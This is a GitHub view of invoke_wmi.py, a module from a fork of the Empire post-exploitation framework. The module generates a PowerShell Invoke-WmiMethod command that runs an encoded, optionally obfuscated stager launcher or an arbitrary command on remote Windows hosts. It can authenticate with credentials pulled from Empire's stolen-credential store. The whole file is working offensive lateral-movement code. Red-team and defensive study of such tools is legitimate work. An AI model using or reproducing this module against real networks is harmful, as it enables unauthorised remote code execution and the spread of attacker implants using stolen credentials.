forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 576
/
invoke_wmi.py
106 lines (89 loc) · 3.89 KB
/
invoke_wmi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from empire.server.common.empire import MainMenu
from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
listener_name = params["Listener"]
command = params["Command"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""
# Only "Command" or "Listener" but not both
if listener_name == "" and command == "":
return handle_error_message("[!] Listener or Command required")
if listener_name and command:
return handle_error_message(
"[!] Cannot use Listener and Command at the same time"
)
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
with SessionLocal() as db:
cred = main_menu.credentialsv2.get_by_id(db, cred_id)
if not cred:
return handle_error_message("[!] CredID is invalid!")
if cred.domain != "":
params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
else:
params["UserName"] = str(cred.username)
if cred.password != "":
params["Password"] = cred.password
if (
not main_menu.listenersv2.get_active_listener_by_name(listener_name)
and not command
):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
if listener_name:
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
userAgent=user_agent,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
if launcher == "":
return handle_error_message("[!] Error generating launcher")
stagerCode = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher
else:
Cmd = command.replace('"', '`"').replace("$", "`$")
stagerCode = Cmd
# build the WMI execution string
computer_names = '"' + '","'.join(params["ComputerName"].split(",")) + '"'
script += " -ComputerName @(" + computer_names + ")"
script += ' -ArgumentList "' + stagerCode + '"'
# if we're supplying alternate user credentials
if params["UserName"] != "":
script = (
'$PSPassword = "'
+ params["Password"]
+ '" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential("'
+ params["UserName"]
+ '",$PSPassword);'
+ script
+ " -Credential $Credential"
)
script += ";'Invoke-Wmi executed on " + computer_names + "'"
return main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)